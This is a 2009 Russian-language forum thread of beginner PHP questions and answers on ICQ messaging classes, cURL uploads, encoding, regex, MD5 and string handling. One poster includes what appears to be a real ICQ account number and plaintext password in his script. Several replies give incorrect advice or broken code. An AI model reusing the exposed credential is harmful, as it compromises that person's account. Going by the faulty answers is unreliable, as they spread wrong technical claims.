Попробуй rack111.com поддержка курла есть, но работает ли не знаю

DDoSька
22.03.2009, 22:41
Попробуй rack111.com поддержка курла есть, но работает ли не знаю
Есть, заработало, Я ЛЮБЛЮ ТЕБЯ ДОРОГОЙ !!! =*

Gaus
22.03.2009, 22:46
Ладно, попробую ногами скрипт закинуть,раз руки кривые
---
Зарегал, кинул скрипт. Хз ,здесь невозможно затупить
хз, у меня на 0fees.net граббер анекдотов :) на курле нормально пашет

mff
22.03.2009, 23:17
_http://kanicq.ru/invisible/icqlib.rar класс для работы с icq, там же внутри есть пример отправки сообщений (закоментировано вверху класса)спасибо, но что то я немогу понять, как отсылать на номер?

Gaus
22.03.2009, 23:48
спасибо, но что то я немогу понять, как отсылать на номер?
Example:
$debug = true;
$debug_log = "";
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected) {
$icq->login();
if ($icq->logged) {
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto, "You are $status, aren't you?");
}
}
echo $debug_log;

mff
23.03.2009, 00:26
Gaus и?

Zedi
23.03.2009, 00:38
mff

<?php
require ('icqlib.php');
$uin = "111111"; # номер аси с которой отсылать сообщение
$password = "secretpass"; # пароль аси с которой отсылать месагу
$uin_sendto = "111112"; # номер на который слать
$message = "Сообзение"; #сюда вводить сообщение которое посылаешь
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{

$icq->send_message($uin_sendto, $message);
}
}
?>

теперь думаю разберешься

mff
23.03.2009, 00:45
Zedi, я так и делал, кидаю на платный хост и вот результат:


ok!

receive:
2A 01 ED FE 00 04 00 00 00 01

send:
2A 01 FC A7 00 5D 00 00 00 01 00 01 00 09 33 35 33 32 30 36 30 33 39 00 02 00 08 C6 1F CA 9E 76 E4 99 D3 00 03 00 0A 69 63 71 6C 69 62 2E 70 68 70 00 16 00 02 01 0A 00 17 00 02 00 01 00 18 00 02 00 00 00 19 00 02 00 00 00 1A 00 02 00 01 00 14 00 04 00 00 00 55 00 0F 00 02 72 75 00 0E 00 02 72 75

receive:
2A 04 ED FF 00 3A 00 01 00 09 33 35 33 32 30 36 30 33 39 00 04 00 23 68 74 74 70 3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D 3F 63 63 6F 64 65 3D 72 75 26 6C 61 6E 67 3D 72 75 00 08 00 02 00 1D

Gaus
23.03.2009, 11:25
mff

<?php
require ('icqlib.php');
$uin = "111111"; # номер аси с которой отсылать сообщение
$password = "secretpass"; # пароль аси с которой отсылать месагу
$uin_sendto = "111112"; # номер на который слать
$message = "Сообзение"; #сюда вводить сообщение которое посылаешь
$icq = new ICQclient($uin, $password);
$icq->connect();
if ($icq->connected)
{
$icq->login();
if ($icq->logged)
{
$status = $icq->getstatus($uin_sendto);
$icq->send_message($uin_sendto, $message);
}
}
?>

теперь думаю разберешься
А зачем статус уина получать?

Zedi
23.03.2009, 11:41
Gaus, я исправил, теперь ты доволен?

Gaus
23.03.2009, 11:54
Gaus, я исправил, теперь ты доволен?
Ага :D

geforse
23.03.2009, 12:23
Может подскажите алгоритм .... например на сайте ставлю форму, человек выбирает картинку и нажимает загрузить .... дальше скрипт авторизируется (логин/пароль) на ipicture.ru => Загружает картинку => выдает ссыль
================================
Такое впринципе можно сделать ?
=========================

<form class='imgForm' action="http://ipicture.ru/Upload/" id="upload" method="post" enctype="multipart/form-data" name="upload">
<input type='hidden' name='method' id='method' value='file'/>
<div>Загрузить картинку:</div>
<div><input class='file' size='63' name='userfile' type='file' /></div>
<div><input class='submit' value='Загрузить' type='submit'/></div>
</form>

Как теперь ссылку получить :confused:

Michael Light
23.03.2009, 12:24
При наборе русского текста в поля обратной связи на электронку приходит какая-то несуразитца, как будто кодировка не подходит.
подскажите пожалуйста как это лечить.


Вот форма:


<FORM ACTION="send.php" METHOD=post>
<TABLE BORDER=0>
<tr><td>Название организации</td><td>
<input type=text name="org" cols=40>
<tr><td>Контактное лицо</td><td>
<input type=text name="kon" cols=40>
<tr><td>Тип груза</td><td>
<input type=text name="tip" cols=40>
<tr><td>Масса/объем груза</td><td>
<input type=text name="kol" cols=40>
<tr><td>Маршрут</td><td>
<input type=text name="mar" cols=40>
<tr><td>Дата отправки</td><td>
<input type=text name="data" cols=40>
<tr><td>Контактный телефон</td><td>
<input type=text name="tel" cols=40>
</td></tr>
<TR>
<TD colspan=2>
Дополнительная информация: <BR><textarea name="mes" cols=40 rows=5></textarea></TD></TR>
<TR>
<TD colspan=2 align=center><input type=submit value="Отправить"> <input type=reset value="Очистить"></TD></TR>
</TABLE></FORM>

Вот скрипт:

<?
$sub="письмо с сайта";
$to = "******@mail.ru";
$sms="Название организации $org
Контактное лицо $kon
Тип груза $tip
Масса/объем груза $kol
Маршрут $mar
Дата отправки $data
Контактный телефон $tel
Дополнительная информация $mes";
mail($to,"$sub",$sms);
echo "Ваше сообщение отправлено<BR><center><a href='http://**********'>Отправить ещё</a>";
?>



это Г, которое на почту приходит:
Название организации 123
Контактное лицо 456
Тип груза 789
Масса/объем груза sgfh
Маршрут asasas
Дата отправки привет
Контактный телефон привет
Дополнительная информация привет


английские буквы и цифры нормально, а русские не понятные. помогите пожалуйста.

159932
23.03.2009, 12:29
$data = iconv('UTF-8', 'windows-1252', $data);
остальное аналогично

ASQX
23.03.2009, 12:57
народ помогите, что здесь не так,

<?php
header("Content-type: image/jpeg");
$im = @ImageCreateFromJPEG ("userbar.jpg") ;
$color = imagecolorallocate($im, 255, 255, 255);
$element = $_SERVER['HTTP_USER_AGENT'];
imagettftext($im, 10, 0, 45, 13, $color, "visitor1.ttf", $element);
imagejpeg($im, NULL, 100);
imagedestroy($im);
?>


надо сделать что-то на подобие http://2ip.ru/bar/

:o

159932
23.03.2009, 13:31
у тебя выставлен цвет текста белый .. мб в этом проблемма .. также посмотри на размер шрифта и его расположение .. в принципе, у тебя всё должно работать

ASQX
23.03.2009, 13:40
ругается на вторую строчку, шрифт нормальный, он как бе на тёмной картинки должен выводится,

159932
23.03.2009, 13:46
мб картинки нету ??

ASQX
23.03.2009, 13:49
нее, все есть, мб кто-нить знает как ето реализовать?


вот ошибка
Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/userbarscript.php:1) in /www/htdocs/userbarscript.php on line 2

PaCo
23.03.2009, 14:04
Ты уже делаешь вывод в браузер а потом заново пытаешься послать head, если файл не иклюдиться никуда где идет вывод то возможно что где то выше идут пробелы или сохраняешь в utf-8 с BOM

ASQX
23.03.2009, 14:11
как ето исправить?
я в пхп ноль.

Patronik
23.03.2009, 14:12
Помогите с игрой "Сколько лепестков у розы?"
<html>
<head>
<title>Скільки листків в рози?</title>
</head>
<body bgcolor = "tan">
<center>
<font face ="Comic Sanc MS">
<h1>Petals Around the Rose</h1>
<?php


printGreeting();
printDice();
printForm();

function printGreeting()
{
global $guess, $numPetals;
$guess = $_POST['guess'];

if (empty($_POST['guess']))
{
echo "<h3>Welcome to petals around the rose</h3>";

}
else if ($_POST['guess']==$_POST['numPetals'])
{
echo "You got it";
}
else
{
echo "<h3>from last try:</h3><br>
you guessed:";
echo $_POST['guess'];
echo "<br>";
echo " and the correct answer was:";
echo $numPetals;
echo "petals around the rose<br>";
}// закінчення if
}// закінчення фунції printGreetin

function printDice()
{
global $numPetals;
print "<h3>New Roll:</h3>";
$numPetals = 0;
$die1 = rand(1,6);
$die2 = rand(1,6);
$die3 = rand(1,6);
$die4 = rand(1,6);
$die5 = rand(1,6);

showDie($die1);
showDie($die2);
showDie($die3);
showDie($die4);
showDie($die5);

print "<br>";

calcNumPetals ($die1);
calcNumPetals ($die2);
calcNumPetals ($die3);
calcNumPetals ($die4);
calcNumPetals ($die5);

}//закінчення функції printDice

function showDie($value)
{
echo "<img src = dice$value.jpg
height = 100
width = 100>";
}//end of showDie


function calcNumPetals ($value)
{
global $numPetals;
if ($value==3)
{
$numPetals+=2;
}
else if ($value==5)
{
$numPetals+=4;
}


}// end of calcNumPetals

function printForm ()
{
global $numPetals;
echo '<h3>How many petals around the rose?</h3>
<form method = "post">
<input type = "text"
name = "guess"
value = "">
<br>
<input type="hidden"
value="$numPetals"
name="numPetals" /> <!-- передаем прав. число -->
<input type = "submit">
</form>
<br>
<a href = "petalHelp.html"
target = "helpPage">
give me a hint</a>';

}//end Printform


echo "<br>Получилось $numPetals лепестков";


?>
</font>
</center>
</body>
</html>
http://keep4u.ru/imgs/b/2009/03/23/e9/e9f17542a66d560344.jpg
Почему у меня функцыя printGreeting(); не принимает сгенерированое функцыей calcNumPetals значение $numPetals а принимает только запрос guess введеный ф форму функцыи PrintForm

geforse
23.03.2009, 14:20
Как можно реализовать такое ... есть html страница, там слово в тегах <TEST>antichat</TEST> ... как можно получить с этой страницы слово antichat ?(оно не статично)

перелопатил весь гугл, но про парсинг html тэгов ничего конкретного не нашёл(

Chaak
23.03.2009, 14:22
Как можно реализовать такое ... есть html страница, там слово в тегах <TEST>antichat</TEST> ... как можно получить с этой страницы слово antichat ?(оно не статично)
preg_match('#<TEST>(.*?)</TEST>#i', $page, $match);
print_r($match);

Gray_Wolf
23.03.2009, 14:29
Почему у меня функцыя printGreeting(); не принимает сгенерированое функцыей calcNumPetals значение $numPetals а принимает только запрос guess введеный ф форму функцыи PrintForm
А потому что ты сначала выводиш свой $numPetals функцией printGreeting();, а только потом заносиш туда значение в printDice().

Сначала должны делаться все расчёты, а только потом нужно делать вывод.

Gray_Wolf
23.03.2009, 14:31
перелопатил весь гугл, но про парсинг html тэгов ничего конкретного не нашёл(
а чем он собственно отличается от парсинга XML?

art2222
23.03.2009, 14:35
Warning: Cannot modify header information - headers already sent by (output started at /www/htdocs/userbarscript.php:1) in /www/htdocs/userbarscript.php on line 2
Страница уже отправлена, а ты модифицируешь заголовки. Тут, имхо, либо юзать ajax либо вот это http://de2.php.net/manual/ru/function.ob-start.php

PaCo
23.03.2009, 14:41
а чем он собственно отличается от парсинга XML?
Ну хотя бы тем что в пхп готовые расширения включеные по умолчанию для парсинга XML и наврятли ты ими отпарсишь html во многих случаях.

Patronik
23.03.2009, 14:46
А потому что ты сначала выводиш свой $numPetals функцией printGreeting();, а только потом заносиш туда значение в printDice().

Сначала должны делаться все расчёты, а только потом нужно делать вывод.


Так дело в том что printGreeting(); сначала испоняет TRUE
if (empty($_POST['guess'])) { echo "<h3>Welcome to petals around the rose</h3>"; }
а потом уже при повторном запуске после ввода guess должна вывести и ваш запрос и число лепестков(numPetals)

Gray_Wolf
23.03.2009, 15:06
Разобрался.
Вместо
value="$numPetals"
должно быть
value="'.$numPetals.'"

Проверяй что у тебя в переменных хранится.
UPD
ан нет, это не решение проблемы, это просто косяк в коде, нужно думать дальше...

159932
23.03.2009, 22:51
как ето исправить?
я в пхп ноль.
у тебя в скрипте не должно ничего выводиться до этого .. ни пробелов, ничего ..
если даже перед <?php есть пробел, то работать не будет

также у меня както возникали проблеммы с хеадерами в юникоде .. так что ставь анси

Patronik
24.03.2009, 01:32
Разобрался.
Вместо
value="'.$numPetals.'"
должно быть
value="'.$numPetals.'"

Проверяй что у тебя в переменных хранится.
UPD
ан нет, это не решение проблемы, это просто косяк в коде, нужно думать дальше...

Так работает но обясни почему value="'.$numPetals.'" ? а не простоvalue="$numPetals"

mailbrush
24.03.2009, 01:38
Без апострофов запрос будетSELECT * FROM TABLE WHERE id=$numPetals
С аппострофами SELECT * FROM TABLE WHERE id='$numPetals'Правильный синтаксис мускуль - второй вариант.

Gray_Wolf
24.03.2009, 11:56
2mailbrush там в другом беда. (даже мускуля совсем нету : )

echo '<h3>How many petals around the rose?</h3>
<form method = "post">
<input type = "text"
name = "guess"
value = "">
<br>
<input type="hidden"
value="$numPetals"
name="numPetals" /> <!-- передаем прав. число -->
<input type = "submit">
</form>
<br>
<a href = "petalHelp.html"
target = "helpPage">
give me a hint</a>';
При такой записи в value ты заносиш не значение переменной $numPetals, а просто строку "$numPetals".

P.S. вообще такой способ занесения значения переменной в строку в корне неверен, и возможен только в PHP. Зачем всё время надеятся на непонятную автоматику?
$a="->".$b."<-";
Такой способ записи намного наглядней, и точно глучить не будет, в отличии от :
$a="->$b<-";

echo '<h3>How many petals around the rose?</h3>
<form method = "post">
<input type = "text"
name = "guess"
value = "">
<br>
<input type="hidden"
value="'.$numPetals.'"
name="numPetals" /> <!-- передаем прав. число -->
<input type = "submit">
</form>
<br>
<a href = "petalHelp.html"
target = "helpPage">
give me a hint</a>';
И сразу видно что, как и куда ты заносиш.

DDoSька
24.03.2009, 13:05
https://forum.antichat.ru/showpost.php?p=1186479&postcount=31
Хелп :) ПлеаЗэ

Patronik
24.03.2009, 17:48
2mailbrush там в другом беда. (даже мускуля совсем нету : )

echo '<h3>How many petals around the rose?</h3>
<form method = "post">
<input type = "text"
name = "guess"
value = "">
<br>
<input type="hidden"
value="$numPetals"
name="numPetals" /> <!-- передаем прав. число -->
<input type = "submit">
</form>
<br>
<a href = "petalHelp.html"
target = "helpPage">
give me a hint</a>';
При такой записи в value ты заносиш не значение переменной $numPetals, а просто строку "$numPetals".

P.S. вообще такой способ занесения значения переменной в строку в корне неверен, и возможен только в PHP. Зачем всё время надеятся на непонятную автоматику?
$a="->".$b."<-";
Такой способ записи намного наглядней, и точно глучить не будет, в отличии от :
$a="->$b<-";

echo '<h3>How many petals around the rose?</h3>
<form method = "post">
<input type = "text"
name = "guess"
value = "">
<br>
<input type="hidden"
value="'.$numPetals.'"
name="numPetals" /> <!-- передаем прав. число -->
<input type = "submit">
</form>
<br>
<a href = "petalHelp.html"
target = "helpPage">
give me a hint</a>';
И сразу видно что, как и куда ты заносиш.

Спасибо.
Я учу пхп из книжки там повсюду так заносят значение переменной и у меня 90% кодов из книжки не работают.
http://keep4u.ru/imgs/b/2009/03/24/ee/eea0fd2ec7b9840e5f.jpg
Вот отсюда я писал

Shadow_p1raT
24.03.2009, 17:48
DDoSька
2

<?php
$url = 'http://localhost/test/1.php';// Путь до скрипта который принимает файл
$file = 'C:\wamp\www\test\секас.jpg'; // Путь до нашего файла
$data = array('file' => '@' . $file); // Заголовки при отправке(снифаем снифером) и не забываем ставить @
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, 'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
curl_setopt($ch, CURLOPT_HEADER, true);
$res = curl_exec($ch);
curl_close($ch);
echo $res;

?>

Gray_Wolf
24.03.2009, 19:08
Я учу пхп из книжки там повсюду так заносят значение переменной и у меня 90% кодов из книжки не работают.
Ну я бы вообще не рекомендовал учить ПХП первым языком программирования.
По поводу книжки:
В том примере нету одинарных ковычек.
Можеш сам проверить:

$a=5;
echo '->$a<-';
echo "<br>";
echo "->$a<-";
echo "<br>";
echo "->".$a"<-";

Хоть 2-я строка и нормально выведется, но я бы всёже рекомендовал использовать символ . для конконтинации строк, т.к. это одновременно и верно с точки зрения программирования, и более понятно для начинающих.

P.S.: бездумное списывание с книжки даёт скорее отрицательный эффект чем положительный по части изучения языка.
Начинать нужно с основ.

2DDoSька
Чем вас сокеты не устраивают?

art2222
24.03.2009, 19:26
Хоть 2-я строка и нормально выведется, но я бы всёже рекомендовал использовать символ . для конконтинации строк, т.к. это одновременно и верно с точки зрения программирования, и более понятно для начинающих.
Сорри за оффтоп, но лучше не склеивать строку перед подачей в echo а передавать параматры через ","
т.е. не
echo $a.'<br>';
а вот так:
echo $a,'<br>';
Работает быстрее.

Плюс текст в двойных кавычках обрабатывается дольше, т.к. РНР ищет в ней переменные и т.п.

2DDoSька
Вот, отличный класс для работы с сокетами на PHP. Реально облегчает жизнь.

http://vip-file.com/download/278f01210970/class.php.html

astrologer
24.03.2009, 20:20
P.S. вообще такой способ занесения значения переменной в строку в корне неверен, и возможен только в PHP. Вовсе нет
Работает быстрее.

Плюс текст в двойных кавычках обрабатывается дольше, т.к. РНР ищет в ней переменные и т.п.nerezus будет ругаться :)

Pashkela
24.03.2009, 20:23
И правильно, ибо пох, главное - читабельность и удобство написания. Обсуждение выигрыша милисекунд уже заманало

art2222
24.03.2009, 20:28
nerezus будет ругаться
наверняка)
И правильно, ибо пох, главное - читабельность и удобство написания. Обсуждение выигрыша милисекунд уже заманало
Ну тут уже у каждого свое мнение, и я его высказал. А вообще даже самые мелкие мелочи =) иногда помогают при оптамизации крупного проекта.

DDoSька
24.03.2009, 21:02
То Shadow_p1raT,art2222 , я не могу пакеты отснифить, вот в чем главная проблема ! Послать-то как все это я знаю...Но все равно, спасибо вам огромное =)

DDoSька
24.03.2009, 21:04
2DDoSька
Чем вас сокеты не устраивают?
Интересный впорос, порой, я сам его себе задаю.Я просто, сначала курл выучил, а потом уже сокеты. Из-за этого роднее cURL, все устраивает, но вот гемморность с хостами неимоверная.
Как я знаю, сокеты медленне : я как-то читал тему на хабре, хотя в пхп и так не д оскорости,но все же ;)

NOmeR1
24.03.2009, 21:18
Интересный впорос, порой, я сам его себе задаю.Я просто, сначала курл выучил, а потом уже сокеты. Из-за этого роднее cURL, все устраивает, но вот гемморность с хостами неимоверная.
Как я знаю, сокеты медленне : я как-то читал тему на хабре, хотя в пхп и так не д оскорости,но все же ;)
Проводил "испытания" для себя. Курл оказался медленее чем сокеты.

DDoSька
24.03.2009, 21:20
Проводил "испытания" для себя. Курл оказался медленее чем сокеты.
Твои слова стали для меня решающими - перехожу на сокет.
ЗЫ: Но почему тогда их разработали? Раз это альтернатива сокетам, чем сURL лучше?

Gray_Wolf
24.03.2009, 21:29
Раз это альтернатива сокетам, чем сURL лучше?
Курл удобнее, но менее гибок и менее быстр чем сокеты.

А вообще вопрос на уровне:
Зачем делали С(си) если ассемблер быстрее :)

AkyHa_MaTaTa
24.03.2009, 21:31
Твои слова стали для меня решающими - перехожу на сокет.
ЗЫ: Но почему тогда их разработали? Раз это альтернатива сокетам, чем сURL лучше?
А ты сравни обьем кода когда тебе надо будет работать например с куками на сокетах и курл, а вообше курл разработали далеко не в пхп в него просто груба говоря добавили их подержку вот и все.

DDoSька
24.03.2009, 21:45
Курл удобнее, но менее гибок и менее быстр чем сокеты.

А вообще вопрос на уровне:
Зачем делали С(си) если ассемблер быстрее :)
Будь добр, не утрируй

mff
24.03.2009, 22:42
Люди, так как же отсылать заказ на icq? Помогите, очень нужно, в долгу не останусь!

art2222
24.03.2009, 22:49
Люди, так как же отсылать заказ на icq? Помогите, очень нужно, в долгу не останусь!
Можно использовать этот класс для работы с асику:
http://wip.asminog.com/workshop/php2icq.html

Вот с этим, можно легко замутить прием и отправку сообщений (там и пример есть):
http://icqbot.ru/basicq

З.ы. работал с ним, вроде бы все норм.

Patronik
25.03.2009, 01:33
$ar= array("", "dfg9.2", "dfg7.1", "hjk3", "yui4");

У меня есть массив $ar. Скажите как отсортировать елементи как числа по возрастанию? так чтоби буквы в значениях елементов не брались во внимание. Пробовал через sort($ar, SORT_NUMERIC) не получаеться

NOmeR1
25.03.2009, 02:00
<?php
function cmp($a,$b) {
preg_match("~[0-9]+\.?[0-9]*~", $a, $reg_a);
preg_match("~[0-9]+\.?[0-9]*~", $b, $reg_b);
return $reg_a[0]>$reg_b[0]?1:($reg_a[0]<$reg_b[0]?-1:0);
}
$ar= array("dfg9", "dfg9.6", "dfg9.2", "dfg7.1", "hjk3", "yui4");
usort($ar,"cmp");
print_r($ar);
?>

Patronik
25.03.2009, 02:08
<?php
function cmp($a,$b) {
preg_match("~[0-9]+\.?[0-9]*~", $a, $reg_a);
preg_match("~[0-9]+\.?[0-9]*~", $b, $reg_b);
return $reg_a[0]>$reg_b[0]?1:($reg_a[0]<$reg_b[0]?-1:0);
}
$ar= array("dfg9", "dfg9.6", "dfg9.2", "dfg7.1", "hjk3", "yui4");
usort($ar,"cmp");
print_r($ar);
?>
Большое спасибо!!! Буду разбираться как етого достиглось

mff
25.03.2009, 03:54
Можно использовать этот класс для работы с асику:
http://wip.asminog.com/workshop/php2icq.html

Вот с этим, можно легко замутить прием и отправку сообщений (там и пример есть):
http://icqbot.ru/basicq

З.ы. работал с ним, вроде бы все норм.
art2222, спасибо, пошел курить...

mff
25.03.2009, 06:07
art2222
WebIcqLite не работает :(
basicq не работает :(

Помогите, как отправлять заказы на ICQ ?

Pashkela
25.03.2009, 09:08
WebIcqLite работает.

kriPer
25.03.2009, 09:28
сижу катерова читаю пишет типа md5 одинакого кода не бывает если даже одно и то же слово попробывал завкодировать так оно одинаковый результат дало эт у меня че то не так? или катерова?))

wildshaman
25.03.2009, 10:08
сижу катерова читаю пишет типа md5 одинакого кода не бывает если даже одно и то же слово попробывал завкодировать так оно одинаковый результат дало эт у меня че то не так? или катерова?))

md5 - каждому набору букв соответствует свой хеш, которые не повторяются, но и расшифроватьт его невозможно.
Хоят какой-то ученый нашел такие слова, хеши которых будут одинаковы)
курите вики

kriPer
25.03.2009, 10:13
md5 - каждому набору букв соответствует свой хеш, которые не повторяются, но и расшифроватьт его невозможно.
Хоят какой-то ученый нашел такие слова, хеши которых будут одинаковы)
курите вики
гг понятно знач одна и та же буква индетична другой?

Vid0k
25.03.2009, 10:18
гг понятно знач одна и та же буква индетична другой?
нет это значит что мд5 имеет коллизии,те при некоторых строках он выдает одинаковые хеши

wildshaman
25.03.2009, 10:19
гг понятно знач одна и та же буква индетична другой?

эм... Там не побуквенное шифрование идет, а потом склейка строки, наче брутить хеши было бы расплюнуть.
Тут идет именно шифрование сразу всей фразы по алгоритму, котоырй необратим)

KIR@PRO
25.03.2009, 10:21
2mff

вот рабочий класс: http://hash.ixces.ru/icqlib.txt

2kriPer
это скорее всего у катерова что то нето написано либо ты не так понял.... md5 это так сказать "уникальный слепок" входных данных.


for ($i=0;$i<1000000;$i++){
$str_md5=md5('ANTICHAT');
echo $str_md5;
}


на протяжении всего цикла, с 1 до 1000000, переменная $str_md5 будт присваиваться одно и тоже значение: bbb30ab9e9999897466eaaa5f7a9e145

mailbrush
25.03.2009, 10:56
http://ru.wikipedia.org/wiki/Md5
Если это, конечно, что-то тебе даст.

art2222
25.03.2009, 12:01
art2222
WebIcqLite не работает
basicq не работает
Не знаю как ты проверял, но оба этих скрипта работают отлично. Только, что тестировал у себя на серваке.

Fepsis
25.03.2009, 16:49
Начал осваивать php... Придумываю себе нетрудные задачи и пишу скрипты, руководствуясь мануалом отсюда: http://ru.php.net/manual/ru/index.php
Объясните как работает функция preg_match_all
preg_match_all("|<[^>]+>(.*)</[^>]+>|U", "<b>example: </b><div align=left>this is a test</div>", $out, PREG_PATTERN_ORDER);
Вот никак не понимаю как составляется первый параметр
|<[^>]+>(.*)</[^>]+>|U
допустим задача такая: вытащить из строки
ааааааааааа ббббббб вввввввв ггггггггг
то, что между "ааааааааааа" и "ггггггггг"
Помогите :(

PS: в общем то задачу выполнил и без этой функции, но несколько дополнительных строк кода - не есть гуд...

eLWAux
25.03.2009, 17:17
Вот никак не понимаю как составляется первый параметр
читай про Регулярные выражения
http://www.phpfaq.ru/regexp
http://freehost.com.ua/faq/buleten/article/article_id/5
http://www.providers.ru/articles/php/regexp-intro.html
http://www.cit.tj/index.php?menu=materials&page=articles&section=2&cat=4&id=43
http://www.opennet.ru/base/dev/php_regexp.txt.html
:)

Fepsis
25.03.2009, 17:29
читай про Регулярные выражения
http://www.phpfaq.ru/regexp
http://freehost.com.ua/faq/buleten/article/article_id/5
http://www.providers.ru/articles/php/regexp-intro.html
http://www.cit.tj/index.php?menu=materials&page=articles&section=2&cat=4&id=43
http://www.opennet.ru/base/dev/php_regexp.txt.html
:)

Я постараюсь описать самые основы использования этого инструмента, чтобы вы не смотрели на комбинацию подобную этой: /^(?:http:\/\/)?[-0-9a-z._]*.\w{2,4}[:0-9]*$/ как баран на новые ворота.
Вот.. это как раз для меня..)) Спасибо. ;)

Gin
25.03.2009, 17:47
Дборого времени суток.

Столкнулся с такой проблемой нужно от начала и конуа строки отсечь символ переноса строки подскажите как это сделать. Спасибо.

-=Static=-
25.03.2009, 17:49
Дборого времени суток.

Столкнулся с такой проблемой нужно от начала и конуа строки отсечь символ переноса строки подскажите как это сделать. Спасибо.

$text = str_replace('\n', '', $text);

mff
25.03.2009, 17:55
Не знаю как ты проверял, но оба этих скрипта работают отлично. Только, что тестировал у себя на серваке.
Вот пишу icqsend.php:
<?php
include('WebIcqLite.class.php');
define('UIN', 353206039);
define('PASSWORD', '59KZObBA');
$icq = new WebIcqLite();
if($icq->connect(UIN, PASSWORD)){
if(!$icq->send_message('7862294', 'Hello!')){
echo $icq->error;
}else{
echo 'Message sent';
}
$icq->disconnect();
}else{
echo $icq->error;
}
?>
вот класс: http://wip.asminog.com/projects/icq/WebIcqLite.class.phps сохраняю в файл WebIcqLite.class.php, закидываю на Агаву и не работает :( :confused:
В чем же дело?
Тариф платный. :confused: :confused: :confused: :confused:





KIR@PRO
art2222
Спасибо большое ребят, icqlib.php класс работает! :) :) :)

Gin
25.03.2009, 18:02
2-=Static=-
Пробовал таким методом, но что -то не работает -(
приэтом еще мне нужно удлалить \n из начала строки а не из всей.

art2222
25.03.2009, 18:10
$text = str_replace('\n', '', $text);
Работать не будет. Нужно в двойных кавычках. Вот так:
$text = str_replace("\n", '', $text);

приэтом еще мне нужно удлалить \n из начала строки а не из всей.

Если только из начала и конца то используй trim() или rtrim() если только из начала.

$text = trim($text);

В чем же дело?
Тариф платный.
Хм. У меня тоже не заработал. Странно.

Попробуй второй класс:
http://slil.ru/27332726

mailbrush
25.03.2009, 18:17
-=Static=-, то что в одинарных ковычках воспринимается пыхой "как есть" и поэтому скрипт будет искать строчку \n а не перенос строки.

Gin, это регулярки. Сейчас напишу.

mailbrush
25.03.2009, 18:32
<?
$text="\nblablabla\n";
preg_match("#\\n(.*)\\n#",$text,$f);
echo $f[1];
?>
Во какбы. Gin, так пашет?

Gin
25.03.2009, 18:41
Так тож вроде не пашет, trim здес не подходит т.к. убирает пробелы только.
Задача как раз именно в том чтобы отсечь символ переноса убрать в начале строки. а в самой строке содержится у меня текст (т.е. символов переноса там много)

MafiaBoy3
25.03.2009, 18:46
Мне необходимо знать чем отличаются методы начинающиеся с self от методов без self?
Где об этом почитать?

Помогите, а то гугл не помог.

art2222
25.03.2009, 18:53
trim здес не подходит т.к. убирает пробелы только.
Неверно. Чтитай тут: http://de3.php.net/trim

Мне необходимо знать чем отличаются методы начинающиеся с self от методов без self?
Где об этом почитать?

Если не ошибаюсь, то тут
http://stackoverflow.com/questions/151969/php-self-vs-this
и вот
http://xpoint.ru/forums/programming/PHP/thread/35670.xhtml

Т.е. $this - указатель на объект класса, а self указывает на сам класс.

mailbrush
25.03.2009, 18:53
Шяс доделаю.

mailbrush
25.03.2009, 19:03
<?
$text="\nblab\nla\nbla\n";
$text=explode("\n",$text);
unset($text[0],$text[count($text)]);
for($i=1;$i<=count($text);$i++)
{
echo $text[$i]."\n";
}
?>
Так должен работать...

MafiaBoy3
25.03.2009, 19:04
Т.е. $this - указатель на объект класса, а self указывает на сам класс.

не врубаюсь и какой из них использовать?

mailbrush
25.03.2009, 19:08
MafiaBoy3, $this указывает только на один объект класса, а self на весь класс с объектами.

Gin
25.03.2009, 19:42
2mailbrush
Как вариант, но больно не локанично

Chaak
25.03.2009, 19:57
не врубаюсь и какой из них использовать?
self возвращает объект класса, а $this какбы указатель. Для своего обращений к методам/переменным внутри своего класса пользуйся $this

KIR@PRO
25.03.2009, 20:29
<?
$text="\nblab\nla\nbla\n";
$text=explode("\n",$text);
unset($text[0],$text[count($text)]);
for($i=1;$i<=count($text);$i++)
{
echo $text[$i]."\n";
}
?>
Так должен работать...

ну вы ребят и извращаетесь))) этож все намного проще :



$text='\ngjdhfgkvhdmgkdvbgd,lgmfiodb\n';
$text=substr($text,strpos($text,'\n')+2,strlen($te xt)-2);
echo $text;


//можно конечно и еще сократить до двух строк)

$text='\ngjdhfgkvhdmgkdvbgd,lgmfiodb\n';
echo =substr($text,strpos($text,'\n')+2,strlen($text)-2);



думаю объяснять не надо.... удалит первый попавшийся в строке возврат коретки =))

Gifts
25.03.2009, 21:45
KIR@PRO str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

4 параметром количество заменяемых подстрок

Zircool
25.03.2009, 21:55
Здравствуйте..Вопрос как можно забить текст в массив, где каждая строка массива это одно предложение из текста.... Пробовал через


preg_match_all('#/.+/.#is',$text_com,$for_anoncenew);


Пробовал через


$text=explode(".",$get_text);


Вот пример текста, с абзацами



Сердечнососудистые заболевания

Несколько крупных исследований позволяют предположить, что употребление зеленого чая снижает риск инсульта и заболеваний коронарной артерии. Впрочем, результаты несколько смешанны. Зеленый чай снижает уровень холестерина, но, похоже, не влияет на кровяное давление. В частности из-за этой неопределенности результатов в некоторых странах производителям зеленого чая запрещено утверждать, что он полезен для сердца.

Рак

Исследования влияния зеленого чая на предотвращение рака у людей противоречивы, но вот опыты с животными гораздо более убедительны. Сейчас идет исследование влияния экстракта катехина из зеленого чая.

Лишний вес

Некоторые исследования показывают, что употребление зеленого чая или таблеток с его экстрактом может ускорять метаболизм и помогать сжигать жир, но результаты, опять же, недостаточно однозначны.

Кроме того, есть некоторые подтверждения полезности зеленого чая при диабете, стрессе, кариесе и вирусных инфекциях. Но вот чего нет, так это конкретных рекомендаций врачей по его использованию, так как для их создания просто недостаточно данных.

Сколько зеленого чая мне следует пить?

